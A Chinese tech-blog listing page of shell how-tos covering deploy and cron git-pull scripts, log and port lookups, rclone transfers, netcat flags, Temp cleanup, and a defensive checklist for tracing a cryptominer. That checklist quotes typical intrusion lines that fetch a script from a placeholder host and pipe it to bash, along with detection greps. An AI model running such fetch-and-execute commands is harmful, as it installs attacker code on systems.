Showing Posts From
Shell
Shell 自动化部署脚本:git pull + pnpm build + cp
一个用于静态站点(如 Astro / Next.js)的最小化自动化部署脚本,适合 VPS 手动触发或配合 webhook 使用。 脚本 #!/bin/bash set -ecd /opt/black-no-dark git pull pnpm build cp -rf /opt/black-no-dark/dist/* /www/wwwroot/www.example.com/echo "更新成功!"各步骤说明 set -e:任何命令返回非零退出码时立即终止脚本,防止后续步骤在错误状态下继续执行。 git pull:拉取远程最新代码。若本地有未提交的修改会冲突报错,此时 set -e 会阻止继续构建。 pnpm build:构建静态产物到 dist/ 目录。构建失败(TS 错误、配置错误等)同样会终止。 cp -rf dist/* /web-root/:将新产物覆盖到 Web 服务器根目录。-r 递归,-f 强制覆盖。 使用方式 # 赋予执行权限(只需一次) chmod +x /opt/deploy.sh# 手动触发 /opt/deploy.sh# 或配合 webhook(如 github-webhook-handler)自动触发常见问题 git pull 报 "not a git repository":脚本中的 cd 路径写错,或目录没有 git init / git clone。 pnpm: command not found:部署环境没有安装 pnpm,或 PATH 不包含 pnpm 路径。解决: # 用绝对路径 /root/.local/share/pnpm/pnpm build# 或在脚本顶部加 export PATH="/root/.local/share/pnpm:$PATH"cp 覆盖时网站短暂不可用:对于零停机要求,可以先 cp 到临时目录,再 mv 替换: cp -rf dist/* /tmp/dist-new/ rsync -a --delete /tmp/dist-new/ /www/wwwroot/www.example.com/rsync 只同步差异文件,比整体 cp 更快,中断窗口更短。 扩展:加上日志和通知 #!/bin/bash set -eLOG=/var/log/deploy.log echo "[$(date '+%Y-%m-%d %H:%M:%S')] 开始部署" >> $LOGcd /opt/black-no-dark git pull >> $LOG 2>&1 pnpm build >> $LOG 2>&1 cp -rf dist/* /www/wwwroot/www.example.com/echo "[$(date '+%Y-%m-%d %H:%M:%S')] 部署成功" >> $LOG将 stdout / stderr 都重定向到日志文件,方便事后排查。
Linux 日志时间解析:journalctl 查看完整时间戳
syslog 格式的日志默认不记录年份,看到 Nov 15 13:57:05 无法确认是哪一年。 显示完整年份(ISO 格式) journalctl -u your-service -o short-iso输出示例: 2025-11-15T13:57:05+08:00 hostname service: log message-o short-iso 输出 ISO 8601 格式,包含年份和时区。 按时间范围过滤 journalctl -u your-service \ --since "2025-11-15 13:52:00" \ --until "2025-11-15 14:02:00"查看最近 N 分钟: journalctl -u your-service --since "10 minutes ago"实时跟踪(类似 tail -f): journalctl -u your-service -f查找错误并显示上下文 已知有一条错误日志,想看前后发生了什么: # 找到行号 journalctl -u your-service | grep -n "错误关键字"# 查看前后 50 行 journalctl -u your-service -n 1000 | grep -C 50 "错误关键字"-C 50 = Context 50,显示匹配行前后各 50 行。 普通日志文件的上下文查询 日志在 /opt/logs/app.log: # 找到行号 grep -n "错误关键字" /opt/logs/app.log# 例如输出: 123456:错误关键字 # 查看附近 100 行 sed -n '123400,123500p' /opt/logs/app.log或者直接用 -C 参数: grep -nC 50 "错误关键字" /opt/logs/app.log定位 Java 服务的真实错误原因 Java 的 查询简单视图数据失败 这类消息通常只是表层日志,真正原因在下面的 Caused by:: # 先找到关键字附近 grep -C 100 "查询简单视图数据失败" app.log | grep "Caused by"常见真实原因:Caused by: java.sql.SQLException — SQL 执行失败 Caused by: org.springframework.data.redis.RedisConnectionFailureException — Redis 连接断开 Caused by: feign.RetryableException — 上游服务不可达找到 Caused by 后再针对异常类型排查。 大日志文件的搜索技巧 # 只看有关键字的行(不展示上下文) grep "关键字" /var/log/app.log | tail -20# 统计出现次数 grep -c "ERROR" /var/log/app.log# 按时间段提取(前提:日志每行以时间开头) awk '/2025-11-15 13:5[0-9]/' /var/log/app.logjournalctl 常用参数速查 journalctl -u <service> # 指定服务 journalctl -u <service> -n 100 # 最新 100 行 journalctl -u <service> -f # 实时跟踪 journalctl -u <service> -o short-iso # ISO 时间戳(含年份) journalctl -u <service> -p err # 只看 error 级别 journalctl --since "1 hour ago" # 最近 1 小时 journalctl --disk-usage # 日志占用磁盘 journalctl --vacuum-time=7d # 清理 7 天前日志
cp 报错 cannot overwrite non-directory:目录被同名文件占位
某次要把 pojie/ 目录复制进 wpa-dictionary/ 里,cp 一直报错: $ cp -r pojie/ wpa-dictionary/pojie cp: cannot overwrite non-directory 'wpa-dictionary/pojie' with directory 'pojie/'$ cp -r pojie wpa-dictionary/ cp: cannot overwrite non-directory 'wpa-dictionary/pojie' with directory 'pojie'$ cp -f pojie wpa-dictionary/ cp: -r not specified; omitting directory 'pojie'问题原因 这个报错不是 cp 参数写错了,而是 目标路径 wpa-dictionary/pojie 已经存在一个普通文件,cp 不允许用目录去覆盖一个非目录。 先用 ls -l 确认: $ ls -l wpa-dictionary/pojie -rw-r--r-- 1 root root 1234 Jun 15 10:00 wpa-dictionary/pojie看到开头是 - 说明它是普通文件。而你想执行的 cp -r pojie wpa-dictionary/ 实际上等于 cp -r pojie wpa-dictionary/pojie——目标名字已经被文件占了。 三种处理方式 方案一:删除同名文件 如果目标位置那个文件本来就没用,直接删掉再复制: rm -f wpa-dictionary/pojie cp -r pojie wpa-dictionary/方案二:换个目标名 不想删旧文件的话,改个新名字: cp -r pojie wpa-dictionary/pojie_new方案三:先看清目录结构 用 tree 看一眼当前目录状态,避免以后再踩: tree -L 2 .或者两条 ls -ld 直接对比属性: ls -ld pojie ls -ld wpa-dictionary/pojie看到一个是 d 开头(目录)、一个是 - 开头(文件),就知道冲突在哪里了。 一句话总结 cp: cannot overwrite non-directory = 目标位置已被同名普通文件占位。要么删掉旧文件,要么换个目标名。
Linux cp 报错 cannot overwrite non-directory with directory:原因和解决方法
cp -r pojie/ wpa-dictionary/pojie # cp: cannot overwrite non-directory 'wpa-dictionary/pojie' with directory 'pojie/'这个错误不是 cp 参数写错,而是目标路径 wpa-dictionary/pojie 已经存在一个普通文件,不是目录。 诊断 ls -ld wpa-dictionary/pojie如果输出以 - 开头,说明是普通文件: -rw-r--r-- 1 root root 1234 Jun 15 wpa-dictionary/pojie如果是目录会以 d 开头: drwxr-xr-x 2 root root 4096 Jun 15 wpa-dictionary/pojie解决方案 方案 1:删除目标文件后再复制 rm -f wpa-dictionary/pojie cp -r pojie wpa-dictionary/方案 2:复制到不同名称 cp -r pojie wpa-dictionary/pojie_backup方案 3:先移动目标文件 mv wpa-dictionary/pojie wpa-dictionary/pojie.bak cp -r pojie wpa-dictionary/cp 目录行为说明 cp -r src dst 的行为取决于 dst 是否存在:目标是否存在 行为dst 不存在 把 src 复制为 dst(改名)dst 是目录 把 src 整体放进 dst/srcdst 是普通文件 报错:cannot overwrite non-directory例如: # 目标目录 backup/ 不存在 cp -r project/ backup/ # 结果:backup/ 就是 project/ 的副本# 目标目录 backup/ 已存在 cp -r project/ backup/ # 结果:backup/project/(嵌套了一层)注意末尾斜杠的影响:cp -r pojie/ dst 和 cp -r pojie dst 行为可能不同(前者复制内容,后者复制整个目录)。 rsync 作为替代 目录同步推荐用 rsync,语义更清晰,且支持增量更新: # 把 pojie/ 的内容同步到 wpa-dictionary/pojie/ rsync -av pojie/ wpa-dictionary/pojie/# 只复制新文件,跳过已存在的 rsync -av --ignore-existing pojie/ wpa-dictionary/pojie/# 删除目标中源没有的文件(镜像同步) rsync -av --delete pojie/ wpa-dictionary/pojie/rsync 在处理已存在目标时不会报上面的错误,会直接合并或覆盖。
写个 Bash 自动 git pull:三种姿势和 cron 里的坑
服务器上想自动拉最新代码,写个脚本挂 cron 跑。看着就两行,实际上有几个必吃的坑。 最基础写法 #!/bin/bash cd /www/wwwroot/yourproject || exit 1 git pull|| exit 1:cd 失败就退出,不然当前目录是家目录,git pull 会执行在错误的仓库 保存为 pull.sh chmod +x pull.sh 执行 ./pull.sh更稳的写法:不依赖 cd git -C 可以直接指定仓库路径,省掉 cd 的失败风险: #!/bin/bash git -C /www/wwwroot/yourproject pull origin main同一个脚本要处理多个仓库时特别顺手。 挂 cron 时会踩的坑 */5 * * * * /www/wwwroot/scripts/pull.sh >> /var/log/pull.log 2>&1看着没问题,实际经常挂。原因: 1. SSH 密钥没加载 用户手动跑时有 ssh-agent。cron 里没有,git@github.com 直接拒绝。解法:走 HTTPS + PAT,别用 SSH 或在脚本里显式指定密钥:export GIT_SSH_COMMAND="ssh -i /root/.ssh/deploy_key -o StrictHostKeyChecking=no" git -C /www/wwwroot/yourproject pull origin main2. PATH 太窄 cron 的 PATH 只有 /usr/bin:/bin,找不到自定义安装的 git。crontab 里手动补: PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin */5 * * * * /www/wwwroot/scripts/pull.sh3. 分支不明确 裸 git pull 会走当前分支和默认 remote,可能拉到不该拉的分支。永远显式: git -C "$REPO" pull origin main处理本地修改的完整版 生产脚本上还得防几件事: #!/bin/bash set -eREPO=/www/wwwroot/yourproject BRANCH=maincd "$REPO"# 1. 如果本地有修改,暂存(避免 pull 失败) if [[ -n $(git status --porcelain) ]]; then echo "[$(date)] 本地有修改,先 stash" git stash push -m "auto-stash $(date +%s)" fi# 2. 拉最新 git fetch origin "$BRANCH" git reset --hard "origin/$BRANCH" # 直接对齐远程,别 merge# 3. 清空 stash(不还原,防止和拉下来的冲突) git stash clear注意 git reset --hard 会覆盖本地任何修改。这是刻意的——线上机器上不该有手改,任何修改都视为"意外"直接抹掉。要保守就用 git pull --ff-only。 大小写敏感的坑 服务器 Linux 大小写敏感,Windows / macOS 默认不敏感。仓库里同时存在: RiderAuditController.php RiderauditController.phpLinux 上拉下来会真的多出两个文件,Windows 上只能存一个,pull 立刻挂。 解法:清理仓库中的重名文件,用 git rm 保留一个: git rm --cached RiderauditController.php git commit -m "fix: 大小写重复" git push或者临时关掉大小写敏感(治标): git config core.ignorecase true一句话总结 git -C REPO pull origin BRANCH 是最省事的一行。挂 cron 要额外交代 PATH、SSH 密钥、分支名,生产脚本再套一层 reset --hard 防脏树。
Windows 杀进程:按 PID / 按名字 / 按端口
Windows 上要杀个后台跑的进程,图形界面点半天不如命令行一条搞定。 按 PID 杀(最常用) CMD taskkill /PID 1234 /F1234 换成你的 PID /F 强制结束,不加有时杀不掉PowerShell Stop-Process -Id 1234 -Force不知道 PID 怎么办 按名字找 tasklist | findstr nginx按端口找(比如 8080 被占了) netstat -ano | findstr :8080最后一列就是 PID。也可以直接: Get-NetTCPConnection -LocalPort 8080 | Select-Object OwningProcess按进程名批量杀 嫌一个个找 PID 麻烦: taskkill /IM nginx.exe /F或者 PowerShell 通配: Stop-Process -Name "nginx" -Force杀不掉的情况 碰到 拒绝访问 / Access is denied,先看是不是这几种:权限不够——右键 CMD/PowerShell "以管理员身份运行" SYSTEM 保护进程——比如 System、Registry 是杀不掉的,动它系统会重启 进程被驱动挂钩——某些安全软件会保护自身进程,得先从安全软件里退出进程有子进程且需要一起清理时: taskkill /PID 1234 /T /F/T = 连同子进程一起杀。 一张表速查目的 命令按 PID 杀 taskkill /PID <pid> /F按进程名杀 taskkill /IM <name>.exe /F连子进程一起杀 taskkill /PID <pid> /T /F查端口占用 netstat -ano | findstr :<port>查进程名 tasklist | findstr <name>PowerShell 版本 Stop-Process -Id <pid> -Force
PID 和端口互查:Linux 和 Windows 的常用命令
调试服务、清理端口占用、看某个进程到底连了哪儿——PID 和端口互查是日常操作。整理一份速查。 Linux:按端口找 PID 现代系统首选 ss(netstat 老了,很多发行版默认不装): ss -lntp | grep :8080输出: LISTEN 0 128 *:8080 *:* users:(("java",pid=12345,fd=45))PID 就是 12345。要看 UDP 加 -u,全协议 ss -tulnp。 lsof 也行,输出更清楚: sudo lsof -i:8080Linux:按 PID 找端口 ss -tunp | grep "pid=12345"或者: sudo lsof -Pan -p 12345 -i后者会同时列出该进程的所有连接(监听 + 已连接),排查网络问题特别顺手: COMMAND PID USER FD TYPE DEVICE NAME java 12345 root 45u IPv4 TCP *:8080 (LISTEN) java 12345 root 46u IPv4 TCP 10.0.0.5:8080->8.8.8.8:443 (ESTABLISHED)Linux:查所有监听端口 ss -lntp # TCP ss -lunp # UDP ss -tulnp # 全部Windows:按端口找 PID netstat -ano | findstr :8080输出最后一列是 PID。看进程名: tasklist | findstr 12345PowerShell 版本更直观: Get-NetTCPConnection -LocalPort 8080 | Select-Object LocalAddress, State, OwningProcess | Format-TableWindows:按 PID 找端口 netstat -ano | findstr 12345PowerShell: Get-NetTCPConnection | Where-Object OwningProcess -eq 12345Docker 里的进程 服务在容器里跑,宿主机 ss 只看到 docker-proxy。有两种方式: 宿主机上看容器映射: docker ps --format 'table {{.Names}}\t{{.Ports}}'进容器里看真实进程: docker exec -it <container> ss -lntpWindows:把占端口的进程杀掉 一条链: for /f "tokens=5" %a in ('netstat -ano ^| findstr :8080 ^| findstr LISTENING') do taskkill /PID %a /F或者 PowerShell: Get-NetTCPConnection -LocalPort 8080 | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }Linux:一条命令连查带杀 sudo fuser -k 8080/tcpfuser 会把所有占用 8080/TCP 的进程直接杀掉,慎用。 一个小坑:找不到 PID Linux 上 ss 或 lsof 有时看不到 PID: users:(("java",pid=?,fd=?))多半是没加 sudo——别的用户的进程只有 root 能看。 Windows 上 netstat -ano 看到 PID 4 的东西一般是内核网络栈(System 进程),不是你的应用。 一句话总结 Linux 用 ss -lntp + lsof,Windows 用 netstat -ano + tasklist。PowerShell 用户直接上 Get-NetTCPConnection 更顺。
rclone 批量上传下载脚本:重试 + 日志 + 分享链接
rclone 一条命令就能传单个文件到 Google Drive / OneDrive / S3 / OSS。但生产环境要批量、重试、日志、结果链接——这就要写脚本。 前置:rclone 配好 remote rclone config跟着交互命令走,配好一个叫 gdrive 的 remote(可以是 Google Drive、S3、OSS、Backblaze 都行,脚本不区分)。 验证: rclone lsd gdrive:能列出根目录说明认证 OK。 批量上传脚本 upload.sh: #!/usr/bin/env bash set -uLOG_FILE="./upload.log" RETRY=3 REMOTE_DIR="gdrive:backup"for file in "$@"; do echo "上传: $file" | tee -a "$LOG_FILE" if [ ! -e "$file" ]; then echo "文件不存在: $file" | tee -a "$LOG_FILE" continue fi filename=$(basename "$file") remote_path="$REMOTE_DIR/$filename" count=0 success=0 while [ $count -lt $RETRY ]; do printf "第 %d 次尝试\n" $((count + 1)) | tee -a "$LOG_FILE" rclone copy "$file" "$REMOTE_DIR" \ --stats 5s --stats-one-line \ 2>&1 | tee -a "$LOG_FILE" if [ ${PIPESTATUS[0]} -eq 0 ]; then success=1 break fi count=$((count + 1)) sleep 2 done if [ $success -eq 1 ]; then echo "成功: $file" | tee -a "$LOG_FILE" # 生成分享链接(Google Drive / OneDrive 支持) link=$(rclone link "$remote_path" 2>/dev/null) if [ -n "$link" ]; then echo "分享链接: $link" | tee -a "$LOG_FILE" fi else echo "失败: $file" | tee -a "$LOG_FILE" fi done用法: chmod +x upload.sh ./upload.sh a.zip b.tar.gz c.iso关键点:$@ — 传所有命令行参数 ${PIPESTATUS[0]} — 拿管道第一个命令的退出码(tee 会覆盖 $?,这里必须显式取 rclone 的) --stats 5s --stats-one-line — 每 5 秒一行简洁进度,log 好看 rclone link — 生成分享链接,不支持的后端会返回空对称的下载脚本 download.sh: #!/usr/bin/env bash set -uLOG_FILE="./download.log" RETRY=3 REMOTE_DIR="gdrive:backup"for remote_file in "$@"; do echo "下载: $remote_file" | tee -a "$LOG_FILE" remote_path="$REMOTE_DIR/$remote_file" count=0 success=0 while [ $count -lt $RETRY ]; do printf "第 %d 次尝试\n" $((count + 1)) | tee -a "$LOG_FILE" rclone copy "$remote_path" ./ \ --stats 5s --stats-one-line \ 2>&1 | tee -a "$LOG_FILE" if [ ${PIPESTATUS[0]} -eq 0 ]; then success=1 break fi count=$((count + 1)) sleep 2 done if [ $success -eq 1 ]; then echo "成功: $remote_file" | tee -a "$LOG_FILE" else echo "失败: $remote_file" | tee -a "$LOG_FILE" fi done用法: ./download.sh a.zip b.tar.gz加分项 并发上传:rclone copy 支持 --transfers 参数,一次传多个文件: rclone copy "$file" "$REMOTE_DIR" --transfers 8 --checkers 16限速(别把家里带宽打满): rclone copy "$file" "$REMOTE_DIR" --bwlimit 10M校验完整性: rclone check "$file" "$REMOTE_DIR/$filename"断点续传:rclone copy 天生支持,直接重跑同一命令即可。已经完成的文件会跳过。 多线程分块(大文件): rclone copy "$file" "$REMOTE_DIR" \ --multi-thread-streams 4 \ --multi-thread-cutoff 100M挂 cron 定时备份 0 3 * * * /home/me/upload.sh /var/backups/db-*.sql.gz >> /var/log/backup.log 2>&1配合 find 只传新文件: find /var/backups -mmin -60 -name "*.sql.gz" -exec /home/me/upload.sh {} +一句话总结 rclone copy + Bash 循环 + ${PIPESTATUS[0]} 判成功 = 稳的批量传输脚本。加个 --stats 看进度、rclone link 抓分享链接就够生产用。
Linux 查找可疑进程来源:恶意挖矿木马排查
发现可疑进程 /root/.config/sys-update-daemon 时,正常系统进程不会放在用户家目录下,这类路径通常是挖矿木马或后门程序的伪装。 第一步:确认文件创建时间 stat /root/.config/sys-update-daemon重点关注:Modify:文件最后修改时间 Change:inode 变化时间 Birth:创建时间(支持 ext4)通过创建时间可以缩小入侵时间窗口。 第二步:查看进程树 pstree -asp <PID>或: ps -ef --forest | grep sys-update确认是什么进程启动了它(bash、cron、systemd、SSH session)。 第三步:检查 systemd 持久化 恶意程序最常见的持久化方式: # ���看可疑服务 systemctl list-units --type=service | grep -i update# 搜索 systemd 配置文件 grep -R "sys-update-daemon" /etc/systemd /usr/lib/systemd /root/.config/systemd 2>/dev/null如果找到 ExecStart=/root/.config/sys-update-daemon,说明已持久化。 第四步:检查 cron 任务 crontab -l grep -R "sys-update-daemon" /etc/cron* /var/spool/cron/ 2>/dev/null第五步:查看 Shell 历史(关键) history | grep -E "wget|curl|chmod|sys-update" cat ~/.bash_history | grep -E "wget|curl|sys-update|chmod \+x"常见入侵模式: curl http://x.x.x.x/1.sh | bash wget http://x.x.x.x/sys-update-daemon && chmod +x sys-update-daemon如果 history 被清空,查历史文件大小是否异常: ls -l ~/.bash_history wc -l ~/.bash_history第六步:查看 SSH 登录记录 last -a # 最近登录历史,带 IP lastlog # 每个账户最后登录重点看陌生 IP 地址。如果服务器 22 端口暴露公网,极可能被 SSH 爆破入侵。 第七步:查看网络连接 ss -antp | grep <PID> lsof -i -P -n | grep sys-update挖矿木马常见连接端口:3333、4444、5555、7777、14444(矿池端口)。 第八步:静态分析二进制 sha256sum /root/.config/sys-update-daemon strings /root/.config/sys-update-daemon | less搜索关键字: strings /root/.config/sys-update-daemon | grep -iE "xmrig|stratum|mining|pool|bot|cnc"出现 xmrig、stratum+tcp://、矿池域名基本确认是挖矿木马。 第九步:查最近被修改的文件 推断同时落地的其他恶意文件: # 最近 1 天内修改的文件 find /root /tmp /var/tmp -type f -mtime -1 2>/dev/null# 按具体时间查(替换时间为创建时间) find / -type f -newermt "2026-05-28 00:30" ! -path "/proc/*" 2>/dev/null隔离和清理 # 先杀进程 kill -9 <PID># 移除执行权限 chmod -x /root/.config/sys-update-daemon# 检查是否自动重启(有守护进程) ps -ef | grep sys-update如果持续重启,说明还有守护脚本: systemctl stop <service-name> systemctl disable <service-name> rm /etc/systemd/system/<service-name>.service常见入侵向量原因 排查命令SSH 弱密码/爆破 `last -aRedis 未授权 redis-cli config get requirepassDocker API 暴露 `ss -antp宝塔弱口令 查 Panel 访问日志Java/Jenkins/Log4j 漏洞 查应用访问日志异常请求公网暴露的服务器,SSH 默认端口 + 弱密码几乎一定会被爆破。建议:禁止密码登录,只允许 SSH 密钥认证。
macOS 上 nc -l -p 报错:BSD netcat 的参数和 Linux 不一样
Linux 上抄来的教程: nc -l -p 1337在 macOS 直接报错。因为 macOS 自带的是 BSD 版 netcat,参数和 Linux 上常见的 GNU/OpenBSD 版有几处不兼容。 正确写法 nc -l 1337或者加日志: nc -lv 1337-l:监听 -v:verbose,显示连接信息 端口号直接跟在后面,不用 -p客户端连过来: nc 127.0.0.1 1337持续监听多个连接 单次 -l 处理完一个连接就退出。想常驻用 -k(keep-open): nc -lk 1337老版本不支持 -k 的话,套一层循环: while true; do nc -l 1337; doneLinux vs macOS 差异速查目的 Linux (nmap-netcat 或 nc.openbsd) macOS BSD nc监听端口 nc -l -p 1337 nc -l 1337短参组合 nc -lp 1337 不支持 -p 监听持续监听 nc -k -l 1337 nc -lk 1337UDP 监听 nc -u -l -p 1337 nc -u -l 1337端口扫描 nc -zv host 20-30 一样指定源端口发送 nc -p 1234 host 80 一样-p 在 macOS 里只用于发送端指定源端口,监听时不能用。 检查你的 nc 是哪一版 which nc # 通常 /usr/bin/nc nc -h 2>&1 | head -3BSD 版的帮助会显示 usage: nc [-46...。GNU 版会显示 Ncat: Version 7.xx。 换成 ncat(可选) 如果不想记两套参数,直接装 nmap 自带的 ncat: brew install nmap ncat -l 1337 # 和 Linux 上写法一样 ncat -lk 1337ncat 参数在所有平台一致,还额外支持 SSL、SOCKS 代理,取代 BSD nc 很合适。 常见踩坑权限:监听 1024 以下端口需要 sudo 防火墙:macOS 系统偏好设置里的防火墙可能拦掉外部连接 AirDrop / IPv6:BSD nc -l 8080 可能只绑 IPv6(::)不绑 IPv4,测试时改用 nc -4 -l 8080 强制 v4一句话总结 macOS 的 nc 是 BSD 版,监听不用 -p:nc -l 1337 或 nc -lk 1337。要跨平台无差别用就装 ncat。
一个 bat 脚本清 Windows 的 Temp 目录
Windows 用久了 C:\Users\<你>\AppData\Local\Temp 里能塞几 GB 垃圾——浏览器缓存、安装包解压残留、Office 恢复文件。用图形界面点很慢,一个 bat 脚本清完事。 最省事版本 用系统自带的 %TEMP% 变量,不用自己拼路径: @echo off setlocalecho 当前用户: %USERNAME% echo Temp 目录: %TEMP%del /f /s /q "%TEMP%\*" >nul 2>&1 for /d %%p in ("%TEMP%\*") do rmdir /s /q "%%p" >nul 2>&1echo 清理完成 pause拆开看:del /f /s /q — 强制、递归、静默删除文件 for /d ... rmdir /s /q — 遍历所有子目录并递归删除 >nul 2>&1 — 屏蔽所有输出(正在使用的文件删不掉会报一堆红字,太吵)存成 clean-temp.bat,双击就跑。 显式指定用户 Temp 有时想清另一个账户的 Temp,或者用完整路径更保险: @echo off setlocalset USER_NAME=%USERNAME% set USER_TEMP=C:\Users\%USER_NAME%\AppData\Local\Tempecho 清理目录: %USER_TEMP%del /f /s /q "%USER_TEMP%\*" >nul 2>&1 for /d %%p in ("%USER_TEMP%\*") do rmdir /s /q "%%p" >nul 2>&1echo 完成 pause顺便清系统 Temp(需要管理员) C:\Windows\Temp 里的东西也可以清,但必须以管理员运行: del /f /s /q "C:\Windows\Temp\*" >nul 2>&1 for /d %%p in ("C:\Windows\Temp\*") do rmdir /s /q "%%p" >nul 2>&1自动申请管理员权限 想双击就自动 UAC 提升,脚本开头加: @echo off :: 检查是否管理员,不是就重新以管理员启动 net session >nul 2>&1 if %errorlevel% neq 0 ( powershell -Command "Start-Process '%~f0' -Verb RunAs" exit /b )setlocal del /f /s /q "%TEMP%\*" >nul 2>&1 for /d %%p in ("%TEMP%\*") do rmdir /s /q "%%p" >nul 2>&1 del /f /s /q "C:\Windows\Temp\*" >nul 2>&1 echo 完成 pause计划任务:开机自动清 想让开机就跑: schtasks /create /tn "CleanTemp" /tr "C:\path\to\clean-temp.bat" /sc onlogon或者每天 3 点跑: schtasks /create /tn "CleanTemp" /tr "C:\path\to\clean-temp.bat" /sc daily /st 03:00删除任务: schtasks /delete /tn "CleanTemp" /f会看到的"报错" 跑完总有一堆"访问被拒绝"或"文件被占用"——这是正常的。有些文件是 Chrome、微信、系统服务在用,删不掉就是删不掉,重启后再跑一遍即可。 要看进度,把 >nul 2>&1 去掉就能看到每一步: del /f /s /q "%TEMP%\*"别做的事不要清 C:\Windows 下的其它目录,会把系统搞坏 不要开 del /q "C:\*" /s,字面意思 少用 rmdir /s /q C:\Windows\Temp 整个删掉目录本身——某些系统组件会因为找不到目录而报错一句话总结 del %TEMP%\* + for /d %%p rmdir %%p 就是 Temp 清理的核心两行。加个自动 UAC 和计划任务,就能忘掉这事。
